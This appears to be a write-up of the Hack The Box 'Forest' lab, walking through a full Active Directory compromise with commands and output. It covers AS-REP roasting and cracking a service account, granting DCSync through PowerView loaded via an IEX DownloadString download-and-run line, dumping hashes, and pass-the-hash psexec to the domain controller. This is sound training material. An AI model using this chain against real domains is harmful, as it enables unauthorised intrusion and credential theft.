A HTB lab based entirely on Active Directory attacks.

Starting out with a usual scan:

nmap -sV -sC -oA forestscan

Among other things, we will find that there are a series of very familiar ports exposed on the host:

Discovered open port 53/tcp on
Discovered open port 135/tcp on
Discovered open port 445/tcp on
Discovered open port 139/tcp on
Discovered open port 88/tcp on
Discovered open port 3268/tcp on
Discovered open port 593/tcp on
Discovered open port 3269/tcp on
Discovered open port 389/tcp on
Discovered open port 636/tcp on
Discovered open port 464/tcp on

More information about active directory ports is available here

Starting with SMB:

root@kali:~/forest# smbclient -L
Enter WORKGROUP\root's password: 
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
SMB1 disabled -- no workgroup available

We have no shares available with the null session, but we do get an anonymous login, that’s interesting.

Next, turning to LDAP:

If we had low privilege credentials we’d be able to use ldapsearch like: ldapsearch -h, the most simple ldapsearch command.

But, for now ldapsearch -h -x should get us talking LDAP.


# extended LDIF
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL

# search result
search: 2
result: 32 No such object
text: 0000208D: NameErr: DSID-0310021B, problem 2001 (NO_OBJECT), data 0, best 
 match of:

# numResponses: 1

We could then use something like: ldapsearch -LLL -x -H ldap:// -b '' -s base '(objectclass=*)' to see more information about the root object.

Ronnie Flathers (@ropnop) did an outstanding talk at troopers last year that goes over some of the more advanced usage of LDAPSearch.

We can extend our search using ‘base’ to have AD show us the partitions or naming contexts of the directory:

ldapsearch -h -x -s base namingcontexts

Which will finally give us something we can work with:

root@kali:~/forest# ldapsearch -h -x -s base namingcontexts
# extended LDIF
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 

namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

We learn that our domain name is htb.local.

Using that information to make a more useful LDAP query: ldapsearch -h -x -b "dc=htb,dc=local". We are able to see much more information about the Domain partition of this directory.

Since LDAP is designed for searching and this directory seems keen to give up information, we can start to think about the interesting objects in the directory.

For me, i’d start with the possibility that there may be computers and users that we can do interesting things with.

ldapsearch -h -x -b "dc=htb,dc=local" '(objectClass=Computer)' | grep Name

We learn about the two computer objects (EXCH01$ and FOREST$ - the DC) as well as the associated service principal names:

root@kali:~/forest# ldapsearch -h -x -b "dc=htb,dc=local" '(objectClass=Computer)' | grep Name
distinguishedName: CN=FOREST,OU=Domain Controllers,DC=htb,DC=local
sAMAccountName: FOREST$
serverReferenceBL: CN=FOREST,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN
dNSHostName: FOREST.htb.local
servicePrincipalName: TERMSRV/FOREST
servicePrincipalName: TERMSRV/FOREST.htb.local
servicePrincipalName: exchangeAB/FOREST
servicePrincipalName: exchangeAB/FOREST.htb.local
servicePrincipalName: Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/FOREST.htb.loc
servicePrincipalName: ldap/FOREST.htb.local/ForestDnsZones.htb.local
servicePrincipalName: ldap/FOREST.htb.local/DomainDnsZones.htb.local
servicePrincipalName: DNS/FOREST.htb.local
servicePrincipalName: GC/FOREST.htb.local/htb.local
servicePrincipalName: RestrictedKrbHost/FOREST.htb.local
servicePrincipalName: RestrictedKrbHost/FOREST
servicePrincipalName: RPC/236ba33a-7959-4a41-b959-5f82689a0871._msdcs.htb.loca
servicePrincipalName: HOST/FOREST/HTB
servicePrincipalName: HOST/FOREST.htb.local/HTB
servicePrincipalName: HOST/FOREST
servicePrincipalName: HOST/FOREST.htb.local
servicePrincipalName: HOST/FOREST.htb.local/htb.local
servicePrincipalName: E3514235-4B06-11D1-AB04-00C04FC2DCD2/236ba33a-7959-4a41-
servicePrincipalName: ldap/FOREST/HTB
servicePrincipalName: ldap/236ba33a-7959-4a41-b959-5f82689a0871._msdcs.htb.loc
servicePrincipalName: ldap/FOREST.htb.local/HTB
servicePrincipalName: ldap/FOREST
servicePrincipalName: ldap/FOREST.htb.local
servicePrincipalName: ldap/FOREST.htb.local/htb.local
distinguishedName: CN=EXCH01,CN=Computers,DC=htb,DC=local
sAMAccountName: EXCH01$
dNSHostName: EXCH01.htb.local
servicePrincipalName: IMAP/EXCH01
servicePrincipalName: IMAP/EXCH01.htb.local
servicePrincipalName: IMAP4/EXCH01
servicePrincipalName: IMAP4/EXCH01.htb.local
servicePrincipalName: POP/EXCH01
servicePrincipalName: POP/EXCH01.htb.local
servicePrincipalName: POP3/EXCH01
servicePrincipalName: POP3/EXCH01.htb.local
servicePrincipalName: exchangeRFR/EXCH01
servicePrincipalName: exchangeRFR/EXCH01.htb.local
servicePrincipalName: exchangeAB/EXCH01
servicePrincipalName: exchangeAB/EXCH01.htb.local
servicePrincipalName: exchangeMDB/EXCH01
servicePrincipalName: exchangeMDB/EXCH01.htb.local
servicePrincipalName: SMTP/EXCH01
servicePrincipalName: SMTP/EXCH01.htb.local
servicePrincipalName: SmtpSvc/EXCH01
servicePrincipalName: SmtpSvc/EXCH01.htb.local
servicePrincipalName: WSMAN/EXCH01
servicePrincipalName: WSMAN/EXCH01.htb.local
servicePrincipalName: RestrictedKrbHost/EXCH01
servicePrincipalName: HOST/EXCH01
servicePrincipalName: RestrictedKrbHost/EXCH01.htb.local
servicePrincipalName: HOST/EXCH01.htb.local

The SPN’s give us confidence in the types of services the computers are hosting.

“Forest” for example, is confirmed as the likely domain controller and “EXCH” an Exchange Server with most of the mail roles.

On the user side of the house:

ldapsearch -h -x -b "dc=htb,dc=local" '(objectClass=User)' | grep userPrincipalName

We learn about:

userPrincipalName: sebastien@htb.local
userPrincipalName: lucinda@htb.local
userPrincipalName: andy@htb.local
userPrincipalName: mark@htb.local
userPrincipalName: santi@htb.local

(and a handful of mailbox accounts)

Probably important to note that grep isnt really the ‘best’ way to do this. ldapsearch will take a parameter to fetch just the things you want like. For example if i wanted distinguishedName and userPrincipalName i could do ldapsearch -h -x -b "dc=htb,dc=local" '(objectClass=Person)' servicePrincipalName, userPrincipalName. Grep just provided the view i wanted here.

Now since we have valid users, we could attempt a password spray attack to see if one of them makes horrible choices. The thing to be really careful of here is password lockout limits. If we suddenly lock out a stack of active directory accounts it is going to be not only noisy, it’ll be fairly annoying as well.

Lets quickly check the password policy:

crackmapexec smb --pass-pol -u '' -p ''

(While pulling my hair out at this point I found there’s a much much much better walkthrough than this blog. Really high quality video by IPSEC here. In that video (among many other things) i found what i was missing with crackmapexec to force the null authentication. IPSEC calls out the reason for this access; that upgraded domains will often still support null authentication because it was the Windows 2000/2003 default.)

After getting the crackmapexec command right, we find out:

root@kali:~/forest# crackmapexec smb --pass-pol -u '' -p ''
SMB    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:HTB) (signing:True) (SMBv1:True)
SMB    445    FOREST           [-] HTB\: STATUS_ACCESS_DENIED 
SMB    445    FOREST           [+] Dumping password info for domain: HTB
SMB    445    FOREST           Minimum password length: 7
SMB    445    FOREST           Password history length: 24
SMB    445    FOREST           Maximum password age: 
SMB    445    FOREST           
SMB    445    FOREST           Password Complexity Flags: 000000
SMB    445    FOREST           	Domain Refuse Password Change: 0
SMB    445    FOREST           	Domain Password Store Cleartext: 0
SMB    445    FOREST           	Domain Password Lockout Admins: 0
SMB    445    FOREST           	Domain Password No Clear Change: 0
SMB    445    FOREST           	Domain Password No Anon Change: 0
SMB    445    FOREST           	Domain Password Complex: 0
SMB    445    FOREST           
SMB    445    FOREST           Minimum password age: 
SMB    445    FOREST           Reset Account Lockout Counter: 30 minutes 
SMB    445    FOREST           Locked Account Duration: 30 minutes 
SMB    445    FOREST           Account Lockout Threshold: None
SMB    445    FOREST           Forced Log off Time: Not Set

Which means (Account Lockout Threshold: None), we can bruteforce without locking people out. We have a tonne of options for brute forcing but since we are already in crackmapexec something like crackmapexec smb -u ouruserlist.txt -p ourcrappypasswordsfile.txt would get it done.

I didn’t have a tonne of luck after nearly an hour of password brute force. In the lab environment this is usually an indicator that it’s not the right route, so we’ll park it for now.

The other way I could have obtained the lock out information directly would have been to leverage enum4linux which will attempt some anonymous RPC enumeration. Among other things, it will show us the password policy in an environment configured like this one. It will also attempt to enumerate users, groups, shares etc. Often this will be redundant information if you are already able to query with LDAP, but in this case notice we return more user accounts:

user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[user1] rid:[0x1db1]
user:[boka] rid:[0x1db2]

The anonymous rpc is retrieving more than the anonymous LDAP. Interesting.

svc-alfresco is interesting. First of all, because it didn’t show in the original LDAP queries, but second because just by naming standard we seem to have found a service account. This might be useful for a Kerberoasting or AS-REP roasting attack.

I did go back and try to search with the anonymous session again via ldapsearch -h -x -b "dc=htb,dc=local" '(cn=svc-alfresco)' and tried some scopes other than the default, but no dice.

Impacket also failed to retrieve the svc-alfresco user with the anonymous session:

root@kali:/usr/share/doc/python3-impacket/examples# ./GetADUsers.py htb.local/'':'' -dc-ip
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Querying for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator         Administrator@htb.local         2019-09-18 13:09:08.342879  2019-10-07 06:57:07.299606 
HealthMailbox0659cc1  HealthMailbox0659cc188f4c4f9f978f6c2142c4181e@htb.local  2019-09-19 07:57:58.643994  <never>             
HealthMailbox670628e  HealthMailbox670628ec4dd64321acfdf6e67db3a2d8@htb.local  2019-09-19 07:56:45.643993  <never>             
HealthMailbox6ded678  HealthMailbox6ded67848a234577a1756e072081d01f@htb.local  2019-09-19 07:57:06.597012  <never>             
HealthMailbox7108a4e  HealthMailbox7108a4e350f84b32a7a90d8e718f78cf@htb.local  2019-09-19 07:57:48.253341  <never>             
HealthMailbox83d6781  HealthMailbox83d6781be36b4bbf8893b03c2ee379ab@htb.local  2019-09-19 07:57:17.065809  <never>             
HealthMailbox968e74d  HealthMailbox968e74dd3edb414cb4018376e7dd95ba@htb.local  2019-09-19 07:56:56.143969  <never>             
HealthMailboxb01ac64  HealthMailboxb01ac647a64648d2a5fa21df27058a24@htb.local  2019-09-19 07:57:37.878559  <never>             
HealthMailboxc0a90c9  HealthMailboxc0a90c97d4994429b15003d6a518f3f5@htb.local  2019-09-19 07:56:35.206329  <never>             
HealthMailboxc3d7722  HealthMailboxc3d7722415ad41a5b19e3e00e165edbe@htb.local  2019-09-23 18:51:31.892097  2019-09-23 18:57:12.361516 
HealthMailboxfc9daad  HealthMailboxfc9daad117b84fe08b081886bd8a5a50@htb.local  2019-09-23 18:51:35.267114  2019-09-23 18:52:05.736012 
HealthMailboxfd87238  HealthMailboxfd87238e536e49e08738480d300e3772@htb.local  2019-09-19 07:57:27.487679  <never>

I also gave the kerberos enumeration module in MetaSploit a try to see if there was more we could learn about any of the users:

[*] Validating options...
[*] Using domain: HTB.LOCAL...
[*] - Testing User: "sebastien"...
[*] - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] - User: "sebastien" is present
[*] - Testing User: "lucinda"...
[*] - KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
[+] - User: "lucinda" is present
[*] - Testing User: "svc-alfresco"...
[-] Auxiliary failed: NoMethodError undefined method `error_code' for #<Rex::Proto::Kerberos::Model::KdcResponse:0x000055bdb0ffa2a8>

It’s interesting that ‘svc-alfresco’ had a different Kerberos response but I put this on the list of things to keep poking at if nothing else useful had popped up.

As one last user enumeration task (since we mentioned “ropnop”s presentation about AD enumeration earlier) I used the windapsearch script to mostly simplify everything we’ve done with LDAP up to this point. You can get it here. You’ll need the “python-ldap” library installed which you can do via pip; if you hit errors trying to install that you probably need sudo apt-get install libsasl2-dev python-dev libldap2-dev libssl-dev

In other walkthroughs i found the windapsearch approach revealed the svc-alfresco user. It didn’t show for me with ./windapsearch.py -d htb.local --dc-ip -U. If it wasn’t for the old school rpc approach with enum4linux i wouldn’t have seen this user.

Anyway, I’m moving on to attempting to AS-REP/kerberoast the service account:

I start with AES-REP because i don’t need more information. I’m hoping to find that the account has kerberos pre-authentication disabled. For this, we use impackets GetNPUsers.py:

root@kali:~/windapsearch# locate GetNPUsers
root@kali:~/windapsearch# /usr/share/doc/python3-impacket/examples/GetNPUsers.py -dc-ip -request 'htb.local/'
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Name          MemberOf                                                PasswordLastSet             LastLogon                   UAC      
------------  ------------------------------------------------------  --------------------------  --------------------------  --------
svc-alfresco  CN=Service Accounts,OU=Security Groups,DC=htb,DC=local  2020-03-21 16:34:12.372301  2020-03-21 16:12:06.447865  0x410200 


Success. At this point we’re ready to hopefully crack the password for this account.

We save the hash to a file, creatively called “hash”, then use john to crack it against the rockyou password list. In reality, we’d probably choose hashcat and move to a cracking machine, but HTB rarely uses super strong passwords; it’s more about the technique than it is waiting on cracking for half a day.

root@kali:~/forest# cat hash
root@kali:~/forest# john hash --fork=8 -w=rockyou.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Node numbers 1-8 of 8 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ($krb5asrep$23$svc-alfresco@HTB.LOCAL)


We have a valid set of domain credentials.

u:svc-alfresco@HTB.LOCAL p:s3rvice

Let’s see if we can get remote execution with them…

In the original nmap scans we identified that port 5985 is open on the domain controller. On linux, the best tool for interacting with WinRM is Evil-WinRM.

./evil-winrm.rb -u svc-alfresco -p s3rvice -i

At this point, we have our first shell on the machine, which deserves a picture:


(We could also grab the user flag from the desktop at this point).

The next logical step after getting standard user authentication and remote code execution is to attempt to escalate privileges.

We work with SpecterOps a lot at Palantir, so the first thing that comes to mind is Bloodhound.

root@kali:~/forest# bloodhound-python -d htb.local -u svc-alfresco -p s3rvice -c all -ns -gc forest.htb.local
INFO: Found AD domain: htb.local
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: FOREST.htb.local
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
INFO: Found 31 users
INFO: Found 75 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: EXCH01.htb.local
INFO: Querying computer: FOREST.htb.local
INFO: Done in 01M 24S

We import the json files into bloodhound and then search for the user account we already own (svc-alfresco)


If we reorganize this view by right clicking on “HTB.local” as our ultimate prize and selecting “Shortest path” we can see that things are getting very interesting:


The “Exchange Windows Permissions” group has a write DACL on the domain head. This is actually a really great example/lab of something that caused a lot of alarm in 2019.

We also note that through nested memberships we are in the “Account Operators” group. Which means we should be able to create a user and add them to groups that are not in the Admin group set:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user cd P@ssw0rd123 /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" /add cd
The command completed successfully.


Now we have an account that is able to modify the domain head object, thanks to that “WriteDACL” permission.

Bloodhound is pretty sweet in that it provides next steps. If i click on the closest node that i have access to in the attack path, i can click help, then “Abuse Info”. In this case, my closest node is the “Exchange Windows Permissions” group which i now have a user in, and the advice is to use the following commands in my WinRM session:

$SecPassword = ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB\cd', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity htb.local -Rights DCSync

The last command requires us to get PowerView on the box though… lets do that:

Maybe we could use:

powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"

(There’s a stack of good examples here)

But this lab machine does not have Internet access.

Instead, i’m going to host the tool i need on my attacker machine and start a web service. Like this:

root@kali:~/forest# wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1
--2020-03-21 17:49:34--  https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)...,,, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 363295 (355K) [text/plain]
Saving to: ‘powerview.ps1’

powerview.ps1                         100%[======================================================================>] 354.78K  1.21MB/s    in 0.3s    

2020-03-21 17:49:35 (1.21 MB/s) - ‘powerview.ps1’ saved [363295/363295]

root@kali:~/forest# mkdir pv && cd pv
root@kali:~/forest/pv# cp ../powerview.ps1 .
root@kali:~/forest/pv# python -m SimpleHTTPServer
Serving HTTP on port 8000 ...

Now i might be able to load powerview like this:

iex(New-Object Net.WebClient).DownloadString('')

Tying it all together to get myself dcsync rights like this:

iex(New-Object Net.WebClient).DownloadString('')
$SecPassword = ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB\cd', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity cd -Rights DCSync


If you’re unfamiliar with DCSync i recommend the Red Teaming Experiments site. So much other good content on the site.

Next, we use our brand new dcsync right to dump all the hashes in the database.

(Note that i changed my password along the way here because i lost my session and started again. You could do the same with “net user cd Password123” on your WinRM session)

secretsdump.py htb.local/cd:Password123@

Here’s some example output:

root@kali:~/forest# /usr/share/doc/python3-impacket/examples/secretsdump.py htb.local/cd:Password123@
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

You might be tempted to take the Domain Admin hash away and crack it. There’s actually no need though, psexec will take our hash as a parameter.

Run the hash through crackmapexec:

crackmapexec smb -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6


root@kali:~/forest# crackmapexec smb -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6
SMB    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:HTB) (signing:True) (SMBv1:True)
SMB    445    FOREST           [+] HTB\administrator 32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!)

Then we can use psexec to get a shell on the domain controller as the Domain Admin:

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@

Success! We own the domain.


We’re done at this point, but if we wanted to get cute and RDP in for some reason:

net group "Enterprise Admins" /add cd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP" /v UserAuthentication /t REG_DWORD /d "0" /f




Annnnd not only would it be unlikely you’d ever take this last step in a real environment, it turns out they are using server core anyway :)